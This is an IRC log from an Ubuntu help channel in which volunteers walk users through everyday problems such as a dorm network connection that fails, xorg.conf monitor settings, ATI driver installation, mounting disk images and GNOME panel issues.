[02:27] <marceloaragorn21> SheissDrogen: no, unfortunately not....
[02:27] <soundray> amirman: mogrify -scale (from the imagemagick package)
[02:27] <compu73rg33k> soundray: and it also works on linux and windows in other people's dorms
[02:27] <Drk_Guy> bobertdos, why?
[02:27] <cory> ok
[02:27] <carandraug> TSCDan: sorry but no. It's one of the first things I disabled
[02:27] <cory> bobertdos: I crashed. i took some pictures of what happened
[02:27] <Joelito> Drk_Guy: ow >.<, well...another one, by me XD
[02:28] <TSCDan> carandraug: Ok, thanks.  I'll keep looking.
[02:28] <Drk_Guy> Joelito, XD
[02:28] <unop> compu73rg33k, ok, the 'ignoring interface eth0' is probably due to the fact eth0 is not defined in the interfaces file.
[02:28] <amirman> unop: soundray: thanks, i'll check out imagemagick
[02:28] <stickboy> hello. i'm trying to install cod4 using an iso image that i have. Any idea on how to do this? I know it's possible with other games but I can't find anything online for doing it with cod4.
[02:28] <marceloaragorn21> SheissDrogen: and i do not know the model... :(
[02:28] <c0mp13371331337> bobertdos: I just built a PC with brand new components, everything worked with Ubuntu out of the box.  Had to load a bunch of drivers into Windows, and some of the drivers weren't even able to be installed because it crashed Windows.  +1 internets for Ubuntu.
[02:29] <bobertdos> Drk_Guy: Because this computer is old, therefore its hardware is mature and has been supported in Ubuntu for a long time. Part of me cringes at the idea of trying it with newer, less mature components.
[02:29] <soundray> compu73rg33k: okay, software then... but it's definitely weird...
[02:29] <pingveno> What is the best way to create a user that a daemon will run under?
[02:29] <unop> compu73rg33k, I strongly suspect a problem with the module for your ethernet card.  -- do you have a live CD to test ?
[02:29] <NBrepresent> hi, this is just a minor annoyance, but i figure someone here will know the fix... every time i boot, the wireless applet prompts me for the password for the default keyring... can i just have that saved so that I won't have to type the password after every boot?
[02:29] <unop> pingveno, the same way you would create a normal user.
[02:29] <compu73rg33k> Yeah, I tried booting up into Slax and it didn't work in Slax either!
[02:29] <Drk_Guy> bobertdos, my pc has some of the latest components, and everything works, but i had to install nvidia driver ;p
[02:29] <compu73rg33k> I obviously also tried various Ubuntu distros
[02:30] <`Matir> NBrepresent, it should auto-unlock if your keyring password = your user password
[02:30] <ScheissDrogen> : (ScheissD.. , please type/copy correct)) ,﻿ marceloaragorn21: this the one i found on the database supported , try !hw to look agai; anyway see/try the easycam link on : https://help.ubuntu.com/community/Webcam
[02:30] <Drk_Guy> compu73rg33k, ubuntu distros?
[02:30] <pingveno> unop: I'm looking for something that won't show up in kdm.
[02:30] <compu73rg33k> Also tried different architectures (i386, amd64)
[02:30] <NBrepresent> `Matir: they are the same, but it doesn't auto-unlock
[02:30] <compu73rg33k> (X/K/U)buntu
[02:30] <pingveno> Would that just be a uid below 1000?
[02:30] <unop> pingveno, see the adduser manpage on creating system users
[02:30] <pingveno> Ah
[02:30] <compu73rg33k> The strangest thing too is that it worked for the first day! .. just hasn't worked since
[02:31] <pingveno> Of course
[02:31] <Drk_Guy> compu73rg33k, those are not distros, but VARIANTS
[02:31] <Drk_Guy> :p
[02:31] <pingveno> That makes sense.
[02:31] <compu73rg33k> right :P
[02:31] <bobertdos> c0mp13371331337, Drk_Guy: I mean, it does work on my laptop, which is a considerably newer system, but I had to wait SO long for audio and wifi support to come for it, :p
[02:31] <marceloaragorn21> SheissDrogen: it is like this one, except for the base: http://www.cliptec.com/samerica/feature-zw221.html
[02:31] <carandraug> cory_: you're back I see. Take a look at this https://wiki.ubuntu.com/X/RadeonXpress
[02:31] <Drk_Guy> bobertdos, not really, if you have atheros chip, madwifi is for you

[02:31] <LONELYGUY17> heyy does anyone wonna chat
[02:31] <compu73rg33k> unop: how should I explicitly define eth0 in my interfaces? auto eth0 good enough or should I elaborate somehow?
[02:32] <compu73rg33k> I really don't think I should be staticly assigning it an IP b/c it'd be hard to guess one someone else isn't using, you know?

[02:33] <Drk_Guy> kousotu, you need to compile custom kernel for that
[02:33] <unop> compu73rg33k,  auto eth0
[02:33] <unop> compu73rg33k,  iface eth0 inet dhcp
[02:33] <compu73rg33k> I thought it was a cable problem, but it's not (tried mulitple cables), thought it was a hardware problem ( but works in windows), thought it was a network problem ( but works in other dorm rooms), thought it was a module problem ( but it doesn't work in live slax cd) - I'm running out of ideas of wtf could be going on! this is hard one to debug lol
[02:33] <kousotu> I searched udf in synaptic and installed everything and it still won't mount
[02:33] <bobertdos> Drk_Guy: It isn't. Everything works now, I'm just saying that when I first got it, I had to wait a while for things to get better support. I'd rather not have to go through such a long waiting period for a new desktop. I think things are catching up now though, so it's not such a big deal anymore.
[02:33] <carandraug> cory_: hmm, I think it means you have to adjust your v-sinc and h-sinc at xorg.conf
[02:33] <cory_> carandraug: thats what happens during a crash, but i can still use ctrl + alt + f1 to go to that menu and ctrl + alt + delete to restart.
[02:33] <LONELYGUY17> anyone wonna chat
[02:33] <unop> compu73rg33k, or if you are allowed to use a static address (even for a moment) try doing that
[02:34] <cory_> crandraug: Maybe that would work. Only way to know is to try. How do I do that?
[02:34] <compu73rg33k> unop: should I leave /etc/resolv.conf blank, or should I copy my desktop version?
[02:34] <Drk_Guy> bobertdos, if you choose nvidia chipset, you're off, they're entirely supported (except for GFX cards )
[02:34] <unop> compu73rg33k, errm, if your interfaces get addresses from DHCP servers, chances are that /etc/resolv.conf is regenerated each time
[02:34] <LONELYGUY17> hey who will teach me russian
[02:35] <ScheissDrogen> !ot
[02:35] <bobertdos> Drk_Guy: Well, truth be told, installing proprietary drivers for either brand doesn't really bother me.
[02:35] <compu73rg33k> unop: yeah it does, i was just wondering if setting it at the beginning would help
[02:35] <kousotu> I searched udf in synaptic and installed everything and it still won't mount
[02:35] <compu73rg33k> I was thinking maybe it's a problem with ipv6? Is there a way to turn that off on a network card and test only using ipv4 ?
[02:35] <kousotu> What packages does one need to mount UDF filesystems?

[02:37] <LONELYGUY17> which one general chat room

[02:41] <kousotu> What packages does one need to mount UDF filesystems?
[02:42] <compu73rg33k> I don't know where it's getting 129.79.1.13 though, I specified 130.126.2.131
[02:42] <nnull> !mythbuntu
[02:42] <nnull> whats a PVR system
[02:42] <compu73rg33k> and 129.xx.xx.xx are university domain stuff, so I think it's getting that address from *something* ... although the LEDsa r e still off on the network card
[02:43] <cory_> carandraug: how do I know my information. I did notice that my screen position is different on windows than it is on linux.
[02:43] <ScheissDrogen> kousotu: nothing particular, but have to specify in mount or fstab
[02:43] <kousotu> ScheissDrogen: how do I do that?
[02:44] <compu73rg33k> unop: hold on - we have this really wierd setup where and RJ-11 connector connects into the RJ-45 jack in the wall, which then the ethernet cable w/ RJ-11 connector plugs into a little 4-port hub. I'm going to try to plug my laptop directly into the wall and see if that does anything
[02:44] <compu73rg33k> this network setup in the room is so weird too with the RJ-11 connectors going into RJ-45 jacks

[02:49] <dres> dewente: what's the problem?
[02:50] <unop> compu73rg33k, I would suspect problems with the network card's module - If i were you, i would see if building the module from source help - or perhaps trying the same module under a different kernel (and older one perhaps)
[02:50] <cancu> hi, i have a laptop with xubuntu in it.. but my keyboard hasnt got this key ">" is it any way of adding it??
[02:50] <compu73rg33k> unop: well trying it under a different kernel (older) would have been tested when trying to use an old Slax Cd right?
[02:51] <TSCDan> carandraug: Just thought you'd like to know: http://ubuntuforums.org/showpost.php?p=3601379&postcount=6   Thanks for the pointer to CCSM though, great util :)

[02:51] <ad0n> I want to know how to mount a .000 image (dd) of a USB pendrive
[02:51] <ad0n> anyone ?
[02:51] <compu73rg33k> I'm thinking of maybe installing gentoo and that will force me to compile the kernel - or maybe I should try in ubuntu first - do you have a guide I could look at to get started?
[02:51] <dres> ad0n: look into loop mounts
[02:51] <unop> compu73rg33k, errm, not necessarily .. also, there might be problems with kernels from a specific release onwards.
[02:51] <mib> hi. how can i install "dot" package in my ubuntu
[02:51] <kousotu> ScheissDrogen: DBus error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.

[02:52] <cancu> hi, i have a laptop with xubuntu in it.. but my keyboard hasnt got this key ">" is it any way of adding it??
[02:52] <carandraug> TSCDan: glad you figured it out. Yes, it's a freat util, don't know why it doesn't come installed by default
[02:52] <brian_herman> is it a raw image?
[02:52] <compu73rg33k> unop: well, again ubuntu works perfectly anywhere else on campus - the problem is isolated to my dorm room only, so I don't really think it's a module problem, wouldn't you think?
[02:52] <compu73rg33k> if i go next door, I can plug right in and it works
[02:53] <brian_herman> ad0n: is it a raw image?
[02:53] <ad0n> brian_herman: I think so
[02:53] <ad0n> (almost sure)
[02:53] <TSCDan> Now... anybody know of any ways to get WPA Enterprise to work on a hidden network?  NetworkManager just sits there trying to connect and eventually falls back to my default network.  I know it exists and the card can connect because it works on XP.
[02:54] <carandraug> cory_: is that a LCD monitor?
[02:54] <compu73rg33k> unop: is there a way I could find out the IP of the hub in my room?
[02:54] <compu73rg33k> and I'd test to see if it can at least ping the hub
[02:54] <MXIIA> is it possible to edit the main menu's icon (by Applications Places System) without changing the theme?
[02:54] <cory_> carandraug: yes from 2002. Its old.
[02:54] <stickboy> Keep getting the following errors when trying to install cdemu. any ideas why? http://paste.ubuntu.com/44734/
[02:54] <unop> compu73rg33k, quite possibly. though i can't say for sure. the module might be misbehaving due to an unusual setup in your room. could you try another hub/switch?
[02:55] <kousotu> TSCDan: custom network connection, it should have access to that network if you manually type it
[02:55] <unop> compu73rg33k, hubs and switches don't have IP addresses - they don't work at the IP layer
[02:55] <kousotu> ScheissDrogen: ideas?
[02:55] <mikejet> Is there a package which replaces my firefox(64-bit) with firefox(32-bit) ?
[02:55] <ad0n> brian_herman: any ideas ?
[02:55] <carandraug> cory_: http://www.eserviceinfo.com/download.php?fileid=13520
[02:56] <brian_herman> ad0n: did you try using mount?
[02:56] <unop> compu73rg33k, all hubs do is forward electrical signals .. all switches do is forward ethernet frames
[02:56] <compu73rg33k> Hmm yeah maybe I'll ask to borrow the neighbor's hub when I get a chance
[02:56] <jrib> mikejet: no
[02:56] <ad0n> brian_herman: yeah, but no sure if in a correct way
[02:56] <compu73rg33k> interesting, thanks for the info
[02:56] <TSCDan> kousotu: That's what I was doing, manually entering the information with "Connect to other network"
[02:56] <jrib> mikejet: why do you want it?
[02:56] <ad0n> brian_herman: how would the syntax be ?
[02:56] <TSCDan> And I am almost certain that it is correct because I am mimicking the settings used on XP that work.
[02:56] <brian_herman> ad0n: mount <PATH OF FILE> <DIRECTORY WHERE YOU MOUNT>
[02:56] <cory_> carandraug: how do i extract a rar file?
[02:57] <natousayni> unrar
[02:57] <kousotu> TSCDan: no idea then, sorry
[02:57] <TSCDan> cory_: unrar or I believe 7zip can
[02:57] <carandraug> cory_: just right click on it and select extract here
[02:57] <jrib> !rar > cory_
[02:57] <kousotu> I;m gonna reboot the PC and see what happens, brb guys
[02:57] <unop> compu73rg33k, are the switches/hubs provided by the university?
[02:57] <compu73rg33k> yeah unop
[02:58] <compu73rg33k> I have my own switch - but as i told you they have an ethernet cable with RJ-11 connectors
[02:58] <carandraug> cory_: if you can't, sudo apt-get install unrar"
[02:58] <unop> compu73rg33k, do you know if they are programmable?
[02:58] <unop> compu73rg33k, RJ-11 ? that's very unusual
[02:58] <compu73rg33k> unop: not sure, how could I find out :) - I'm sure it'd prob be against something, but I doubt they'd find out - there's 35,000 people here
[02:58] <ad0n> brian_herman: once mounted, how can I see the device properties ? I mean the SN, model, etc
[02:58] <carandraug> cory_: the h and v sinc values depend on the reolsution and refresh rate you choose. There's a table for your monior in page 7 of the pdf inside that rar
[02:59] <ad0n> brian_herman: since it's a pendrive
[02:59] <compu73rg33k> I KNOW it's so strange! RJ-11 connectors on ETHERNET cable plugging into RJ-45 jacks - a serious wtf IMO
[02:59] <brian_herman> ad0n uh... i dont know
[02:59] <mikejet> jrib : my flash always crashes on my x86_64 firefox.
[02:59] <jrib> !flash64 > mikejet
[02:59] <unop> compu73rg33k, well, the reason i asked is - because if they are, like on some campus network, there might be a misconfiguration with it
[02:59] <mikejet> jrib : just go to a webpage with 15 embeded youtubes and npviewer.bin flipps out.
[02:59] <ScheissDrogen> kousotu: sudo apt-get install pastebinit
[03:00] <ad0n> how can I see the device properties of a mounted USB image ? I mean the SN, model, etc
[03:00] <jrib> mikejet: I know, I have the same issues.  I hate flash
[03:00] <ScheissDrogen> kousotu: pastebinit /etc/fstab                     , give me url
[03:00] <compu73rg33k> ah unop how would I be able to get in and program it?
[03:00] <unop> compu73rg33k, but yea, i wouldn't advise you change anything (even if you could) - get your campus netadmin to do that .. perhaps you could contact your university helpdesk?
[03:00] <ad0n> how can I see the device properties of a mounted USB image ? I mean the SN, model, etc
[03:00] <MXIIA> is it possible to edit the main menu's icon (by Applications Places System) without changing the theme?
[03:01] <compu73rg33k> Yeah I should try, but they obviously don't give Linux support and since it's working in Windows, I'm not sure they'd even know what to do
[03:01] <brian_herman> ad0n: that information might just be on the Pendrive
[03:01] <compu73rg33k> they'd be like ...use windows?
[03:01] <mikejet> jrib: also I'm looking for a 32-bit version of libnss3.so because I'm compiling a 32-bit program. (why don't they install that?)
[03:01] <brian_herman> ad0n: not on the image
[03:01] <compu73rg33k> and I'd be like *deep sigh*
[03:01] <unop> compu73rg33k, errm, depends on the particular device - some are accessible via serial cables, some by a management ip address, some via SNMP
[03:01] <ad0n> brian_herman: that's the problem. I don't have the pendrive
[03:01] <brian_herman> ad0n: i dont think that is possible
[03:02] <brian_herman> ad0n: without the pendrive
[03:02] <ad0n> ok
[03:02] <brian_herman> ad0n: that information is not on the image just raw data
[03:02] <yates> how do i get the nm-applet off the top gnome panel and onto the bottom one? there is no "move" option in the menus
[03:02] <ScheissDrogen> kousotu: ?
[03:02] <unop> compu73rg33k, ahh well, do try out someone else's switch if you can, you could rule out problems with the switch that way.
[03:02] <cory_> carandraug: my settings would be mode 14 on the table.
[03:03] <yates> same question for the batter power indicator
[03:03] <compu73rg33k> Yeah - my desktop and roommate's laptop work fine in here though, but I should still try switching the hub
[03:03] <ScheissDrogen> yates: right click  on the bar , add btw delete from ?!
[03:03] <unop> compu73rg33k, anyway, bedtime for me, i'm off - hope you resolve the problem -- else, request a dorm change :)
[03:03] <compu73rg33k> haha, that's a good idea :)
[03:04] <carandraug> cory_: you're sure? Never saw someone with that resolution. You sure you're not mistaking it by 1024*768? If not, why not mode 15 (higher refresh rate)? &0Hz makes my head hurt
[03:04] <yates> also, has anyone noticed that the touchpad seems to lose its "double-click-and-hold" to drag ability (as well as vertical scroll-bar) randomly? logging out and back in seems to restore it, but what a pain.
[03:04] <mikejet> !flash64 > mikejet
[03:05] <yates> ScheissDrogen: huh? "btw..."
[03:05] <jfincher_> ok, I still can't get my wireless card to work on my thinkpad R500 in Hardy.
[03:05] <ScheissDrogen> yates: right click  on the bar , add or delete from ?!
[03:05] <cory_> carandraug: In windows i can set it to either. I cant really tell the difference between 60 and 70. But yes that is my resolution
[03:05] <G4zz> trying to install Ubuntu on
[03:05] <chamunks> How can i use 'ls' to display size of the overall contents of a directory.
[03:06] <G4zz> hello all
[03:06] <compu73rg33k> thanks for your help unop
[03:06] <yates> what is "?|"?
[03:06] <jfincher_> I've installed the recently released new firmware and the wireless card can connect to the network, but dhclient can't get an IP address.
[03:06] <jrib> chamunks: use du -sh instead
[03:07] <yates> there is no option "add or delete"  - there is "add to panel" and "delete panel" that i see
[03:07] <ScheissDrogen> chamunks : man du
[03:07] <G4zz> installing Ubuntu on Acer Aspire one laptop i get error msg "udevd-event [1140]: run program: '/sbin/modprobe' abnormal exit"
[03:07] <G4zz> it has a 8GB SSD drive
[03:07] <chamunks> jrib, Well thankyou. :)
[03:08] <G4zz> i've tried kubuntu also with same error
[03:08] <MXIIA> is it possible to edit the main menu's icon (by Applications Places System) without changing the theme?
[03:08] <chamunks> ScheissDrogen, I've never even seen du thanks
[03:08] <yates> !nm-applet
[03:08] <ScheissDrogen> np
[03:08] <chamunks> ScheissDrogen, this will be useful
[03:08] <MXIIA> is it possible to edit the main menu's icon (by Applications Places System) without changing the theme?
[03:08] <carandraug> cory_: then search in your xorg.conf for the monitor section and use the values in the 3rd and 4rth column
[03:09] <carandraug> cory_: something like this http://paste.ubuntu.com/44745/
[03:10] <G4zz> installing Ubuntu on Acer Aspire One laptop i get error msg "udevd-event [1140]: run program: '/sbin/modprobe' abnormal exit"

[03:12] <ftehw> Often I find myself interested in installing more up-to-date versions of software than ubuntu's synaptic/aptitude/apt-get offers.  Is there a way to point those tools at bleeding-edge repositories?
[03:12] <cory_> carandraug: like this? http://paste.ubuntu.com/44746/
[03:13] <carandraug> cory_: yes. I hope that solves it.
[03:13] <yates> how do i get a list of services currently running (from the command line, as root)?
[03:14] <yates> i want to check if sshd is running
[03:14] <ripps> I anyone here using Intrepid Ibex? Nobody is responding in #ubuntu+1.
[03:14] <yates> never mind - ps did the trick
[03:14] <cory_> carandaug: crash i never saved. repost your example lease
[03:15] <carandraug> cory_: http://paste.ubuntu.com/44745/  <- but this would be for mode 15
[03:16] <carandraug> cory_: pastebin all your xorg.conf after your changes
[03:16] <firb> i have problems configing the vi
[03:18] <cory_> carandraug: It says i  cant save the file.
[03:18] <ScheissDrogen> yates man ps , see also man top
[03:18] <cory_> carandraug: http://paste.ubuntu.com/44748/ This is what it is updated
[03:18] <cory_> carandraug: wont let me save directly to the xorg.conf though
[03:19] <ASrock> is there a pci wireless adapter that has been proven to work perfectly with linux like with no issues what so ever
[03:19] <carandraug> cory_: you have to open the file with root permissions. Run in the the terminal "gksudo gedit /etc/X11/xorg.conf" Also, make a backup of the old file (just in case)
[03:19] <carandraug> !sudo | cory_

[03:24] <Mercury-> afternoon
[03:24] <achew22> is there a dpkg-reconfigure or something like that to have the computer scan for new network cards. I replaced a nic (ethernet not wifi) and it is still looking for the old one.
[03:24] <Mercury-> im trying to get my wireless device working.
[03:24] <lu31415> i'm having problems with my ati radeon hd2400, i've noticed it seems to be common, but haven't found anything that'd work for me yet... is there anyone who could help at all?
[03:24] <chalcedony> on 8.4 my xsane is messing up, the preview window can't be seen and it won't scan. help?
[03:24] <RediXe> Need help getting my wireless working if someone is able to help: Broadcom Corporation BCM4312 802.11a/b/g (rev 01)
[03:24] <Mercury-> (for an ad-hoc)
[03:25] <Mercury-> can't turn on the killswitch, it doesn't respond
[03:25] <yates> is the nm-applet run on a per-user basis on login, or as a service?
[03:25] <danbhfive> yates: I suspect, per user
[03:25] <yates> if per-user, where is it run from? .bash_profile?
[03:25] <carandraug> !bcm43xx | RediXe
[03:25] <chronographer> Hi all. My wlan0 rt73 wireless connection drops out every now and then, if I run ifdown ... ifup it works again, is there a way to fit it so I don't have to do this? or an automatic way to do this when it drops out?
[03:25] <ripps> Is anyone here using Intrepid Ibex? Nobody is responding in #ubuntu+1.
[03:25] <chalcedony> !xsane
[03:26] <yates> ripps: i'm not
[03:26] <danbhfive> ripps: im sorta, but you should keep it to Ubuntu+1
[03:26] <carandraug> ripps: I am, I've seen your problem in #ubuntu+1 but don't know how to solve it. Probably the same for the others there
[03:27] <RediXe> !bcm43xx
[03:27] <fused_> Is there any specific way that you have to install fonts, or can you just put them in the font directory and they work automatically?
[03:27] <timo> google it
[03:27] <timo> i did
[03:27] <chalcedony> xsane used to work fine.

[03:29] <timo> sudo su
[03:29] <carandraug> cory_: ok. Fingers crossed.
[03:29] <timo> or sudo -u
[03:29] <|YESH|> How would I go about setting fluxbox as the default window manager instead of gnome and without using GDM
[03:29] <lu31415> hmm, no one can offer any tips on how to get a radeon hd400 working in Hardy Heron at all? I've been stuck on this for over 6 months...
[03:29] <carandraug> timo: you can't do that in ubuntu by default as the root account is disabled by default
[03:30] <jrib> |YESH|: how do you intend to start X?
[03:30] <timo> i jst did it
[03:30] <|YESH|> using startx command
[03:30] <timo> i get# infront of my name
[03:30] <jessid> !mp4 | jessid
[03:30] <jrib> |YESH|: create a ~/.xinitrc as per the fluxbox docs
[03:30] <|YESH|> I don't want X running until I need it, I prefer use the console most of the time.
[03:30] <carandraug> timo: didn't it asked for your root password?
[03:30] <|YESH|> alright, thanks
[03:30] <timo> it did
[03:30] <|YESH|> timo: `sudo -i` let's you enter a prompt as root
[03:31] <timo> i done sudo su
[03:31] <|YESH|> sudo -i will prompt for your password and drop you in a bash prompt root@localhost

[03:39] <danbhfive> !home > ethana2

[03:39] <wers> how about gui? haha
[03:39] <khin> gzip: stdout: File too large
[03:39] <ethana2> danbhfive: yes i know.

[03:40] <xomp> halp, I accidentally deleted my gnome panel? I need to get my start menu and such back :3
[03:40] <timo> xomp use ur nut
[03:40] <ethana2> xomp: how did you manage that?
[03:40] <lu31415> ScheissDrogen: i've already taken a look at some of the posts, including that one, but no solution has worked so far, though i'm not sure i'm doing everything right - and also tried downloading the driver off ati/amd's page, but again with problems - shall i dl the driver again?
[03:40] <ethana2> xomp: gconf-editor?
[03:40] <xomp> my nut? O_o
[03:41] <finiras> is there a program like winamp but for ubuntu? a media player aimed at playing music
[03:41] <danbhfive> ethana2: well, I bet its possible, its probably simple, like just moving the folder, and putting a hardlink inplace
[03:41] <ethana2> ah good
[03:41] <xomp> ethana2, no, I somehow accidentally deleted it all lmao, not sure how but I have nothing now
[03:41] <Chaotic_Descent> my desktop didn't load today. I have no idea why. the background image and the icons that were there are both gone.

[03:41] <ethana2> oh wait
[03:41] <xomp> ethana2, is there a way to reset my stuff back to default for gnome?
[03:41] <ethana2> probably...
[03:41] <ScheissDrogen> in xfce I can't access a mounted vfat (user,rw,aouto) , but shows me owner root, can't sudo chown ....

[03:42] <ScheissDrogen> ﻿lu31415:yes
[03:42] <Apolinario> i like frikipedia

[03:43] <xomp> ethana2, yeah :3
[03:43] <Apolinario> :)
[03:43] <ethana2> hmm.
[03:43] <cory_> carandraug: No go
[03:43] <carandraug> cory_: I noticed
[03:43] <ethana2> xomp: you registered on freenode?
[03:43] <cory_> carandraug: It just made the same error as when i installed the restricted drivers
[03:44] <xomp> ethana2, am I saying it correctly with "gnome panel"? I'm new to linux and don't know what you guys/gals call such things. But it's where the start bar is in Windows :3
[03:44] <cory_> carandraug: its a white screen and i cant ctrl + alt + f1 or ctrl + alt + backspace
[03:44] <jeber> Hey i got a question with virtualbox ose i need to make it have a 192.168 number
[03:44] <xomp> ethana2, yes I'm registered here
[03:44] <ethana2> xomp: see my pm
[03:44] <Chaotic_Descent> wow. I thought it was just the background image, but even changing the color doesn't work.
[03:44] <carandraug> cory_: oh! I had that one as well. I solved with two commands
[03:44] <ASrock> what would be the best motherboard to get for linux
[03:44] <cory_> carandraug: ;/ this has to be the most annoying thing ever.
[03:44] <Chaotic_Descent> I guess I'll do what Windows users do and just restart.
[03:44] <cory_> carandraug: what commands ill do ANYTHING
[03:44] <carandraug> cory_: I had that very same problem yesterday
[03:44] <ScheissDrogen> ﻿lu31415:have it down ?
[03:45] <cory_> carandraug: yesterday?
[03:45] <justinpitts> i have a slightly unusual install scenario question. is this the right place for it?
[03:45] <spinull> i can't get my grub boot image to load
[03:45] <lu31415> ScheissDrogen: not yet, another minute to go
[03:45] <cory_> carandraug: this happens randomly so you know. I dont know what triggers it.
[03:45] <spinull> it keeps saying it can't find the file
[03:45] <ScheissDrogen> !best|ASrock
[03:45] <carandraug> cory_: yes, yesterday when updated from 7.10 to 8.04
[03:45] <spinull> my root partition is on /dev/hda5
[03:45] <ScheissDrogen> ASrock: see #hardware
[03:45] <cory_> carandraug: how did you fix it?
[03:46] <jeber> Can some one help me with virtual box pls i gtg in 15 mins
[03:46] <BiteMeBill> jeber: what help do you need?
[03:46] <sysdoc> Hey I'm having trouble with gparted from a windows install, it doesn't seem to want to resize the ntfs partition. What's up with that?
[03:46] <jeber> BiteMeBill, I need to make my virtual box have a 192.168 ip
[03:47] <Uplink> why when i type ping google.com i get a different IP address than when i type host google.com
[03:47] <carandraug> cory_: install the proprietary drivers and run these two commands http://paste.ubuntu.com/44757/
[03:48] <ASrock> well can you tell me a brand that has good support with linux
[03:48] <natousayni> i get the same for both host and ping on google.com
[03:48] <Winston_SmithVT> Need some help with a dial up problem, randomly fouls up. Can't reconnect, reboot seems to fix it. I can also sometimes get back on by hitting the disconnect a few times, but it does not always work.
[03:48] <natousayni> just host give me an other ip
[03:48] <ASrock> my current motherboards networking doesnt work right, i am selling it and i want to make sure i get one with decent support
[03:48] <wers> i cant reboot or shutdown while logged in gnome. any idea why?
[03:48] <cory_> carandraug: should i take out the xorg changes we made?
[03:48] <Uplink> natousayni, what about my forum arenaladders.com
[03:48] <natousayni> but one is the same that the one ping gave me
[03:48] <carandraug> cory_: it solved to me, I hope it solves to you as well. Also, when I installed the restricted I didn't run those commands (like it's advised to do). When I rebooted I had a white screen. I had to enter in failsafe and then I run those commands
[03:48] <danbhfive> ASrock: i think I can help.  The best page I have found so far is the fsf page: http://www.fsf.org/resources/hw/
[03:48] <BiteMeBill> jeber: the host system should be doing nat for you.  You should be able to change the settings in the preferences of the guest system so it gets one fromo the dhcp.
[03:49] <jeber> How to do that
[03:49] <Uplink> type ping arenaladdres.com and then host arenaladders.com i get diff ip address
[03:49] <lu31415> ScheissDrogen: i've downloaded the file (ATI Catalyst™ 8.8 Proprietary Linux x86 Display Driver), what should i do?
[03:49] <ScheissDrogen> wers: hardy ? no idea
[03:49] <natousayni> PING arenaladders.com (209.51.149.165) 56(84) bytes of data
[03:49] <carandraug> cory_: it's probably best to restore it to what it was. Anyway, I think that installing the drivers will overwrite the file (it's the drivers work to define those values after all)
[03:49] <danbhfive> ASrock: http://www.fsf.org/resources/hw/systems
[03:49] <ScheissDrogen> ﻿lu31415:open a terminal..
[03:49] <natousayni> arenaladders.com has address 209.51.149.165
[03:49] <wers> ScheissDrogen, yep hardy
[03:50] <ScheissDrogen> ﻿lu31415:file on desktop ? your username ?
[03:50] <carandraug> cory_: if the problem you showed in th photo appears again later, add those two lines
[03:50] <BiteMeBill> jeber: I don't have it installed on this system but it should be in the preferences of the guest or the settings.  Don't remember what it is called.
[03:50] <justinpitts> I' like to install Ubuntu on a (somewhat old Acer) tablet. the original OS is non-bootable. I do not have an optical drive for it. I CAN pull out the harddrive and mount it to my desktop via USB. What would be a good way to do this?
[03:50] <cory_> carandraug: cross fingers ill brb.
[03:50] <lu31415> ScheissDrogen: one thing, it might be important - i'm not sure my system is very clean, i've tried several things, undid them...
[03:50] <chronographer> http://pastebin.com/m1c9b242b    i get this error compiling rt73 wireless drivers.. can anyone help?

[03:51] <spinull> if my root partition is on hda5 what would i set in grub for the boot image location (hd0,4)
[03:51] <cory_> carandraug: restarting computer. for the driver

[03:51] <Latis> I need help. Fresh install of ubuntu hardy after screwing up my sound. I have a brand new 2 day old dell xps M1530 laptop that has an integrated mic, and I also have a external USB DAC amp connected to headphones. Now, I think I can configure alsa just fine to have headphones as default output, however in skype, when headphones are plugged in, mic doesn't work. Also, now I don't even see a digital input option in the sound config (I used to :\).
[03:51] <loko_> ?
[03:52] <bex_> Hi peoples. having search google, the ubuntu docs and forums. I have come in here. I have hardy heron installed (fresh install, not upgrade). when I go to places > network, the local lan windows machines appear, but when i open them, their shares do not appear, though I can apend the sharenames to the end of the location and access them??
[03:52] <ScheissDrogen> ﻿lu31415:first copy your actual xorg.conf as a recovery-backup : cp /etc/X11/xorg.conf  /etc/X11/xorg.borkbackup

[03:53] <goldmetal> is there a port of eudora on linux? it's only for mac and windows
[03:53] <danbhfive> justinpitts: is that the only way to connect to your harddrive at this point?
[03:53] <lu31415> ScheissDrogen: done (terminal displayed no output after the command, though)
[03:53] <loko_> windows no
[03:53] <justinpitts> that is the only way.

[03:57] <bobito> justinpitts: rock off
[03:57] <danbhfive> justinpitts: I think ScheissDroge has the answer
[03:57] <justinpitts> sounds workable to me. thx all.

[04:01] <ScheissDrogen> !ask | prog077
[04:01] <lu31415> ScheissDrogen: executed the previous command, but the path you mentioned seems to point nowhere...
[04:02] <lu31415> ScheissDrogen: oh, sorry, my mistake, it exists :)

[04:04] <C-00000100> lu31415, and if so, do you have help, or do you need to paste it?
[04:04] <bobito> prog077: ask in one line, and be as descriptive as possible, particularly to exactly what is going wrong.
[04:05] <ScheissDrogen> ﻿C-00000100: eehmm, were installing a driver, but thx
[04:05] <C-00000100> lu31415, yes, but do you have help or do you just need to paste it?
[04:05] <ScheissDrogen> ﻿C-00000100: eehmm, were installing a driver, but thx
[04:05] <carandraug> lu31415: that's a command to open xorg.conf with gedit with root permissions
[04:05] <bobito> justinpitts: Can't stand the stuff.  I even worked in a cafe for a while to see if I could find a coffee drink I could enjoy, to no avail.  Though steamed, flavored milk is surprisingly delicious
[04:05] <lu31415> C-00000100: i can just paste it, the path is ok

[04:08] <favro> I resized the root partition how do I update the system about it?
[04:08] <prog077> ATI Radeon 2100
[04:08] <carandraug> cory_: are you in failsafe mode now? Did you manage to at least install the proprietary drivers? WHich command gave an error? Can you pastebin it?
[04:08] <ScheissDrogen> favro: not at all
[04:08] <favro> ?
[04:08] <lu31415> ScheissDrogen: ok, i get a gui with 2 options: install driver..., and generate distribution specific driver package
[04:09] <ScheissDrogen> ﻿lu31415: install
[04:09] <ScheissDrogen> favro: does ur fstab uses uuids ?
[04:09] <lu31415> ScheissDrogen: mode of installation, automatic or custom?
[04:09] <favro> ScheissDroge1: yep
[04:09] <cory_> carandraug: I installed the proprietary drivers. I was able to login WITHOUT failsafe. i did the first command but the second command gave me that error.
[04:09] <ScheissDrogen> ﻿lu31415: auto
[04:09] <ScheissDrogen> favro: have a live system handy ?
[04:10] <ScheissDrogen> favro: have a live system handy ? cd
[04:10] <bobito> justinpitts: I've made a few of them in my time.  Finally, a common ground has been found
[04:10] <cory_> carandraug: http://paste.ubuntu.com/44760/
[04:10] <Theeb> how do i fix a broken package? when i do the recovery mode it says there is a broken package
[04:11] <ScheissDrogen> Theeb: tried update & upgrade ?
[04:11] <Theeb> ScheissDrogen,  yes
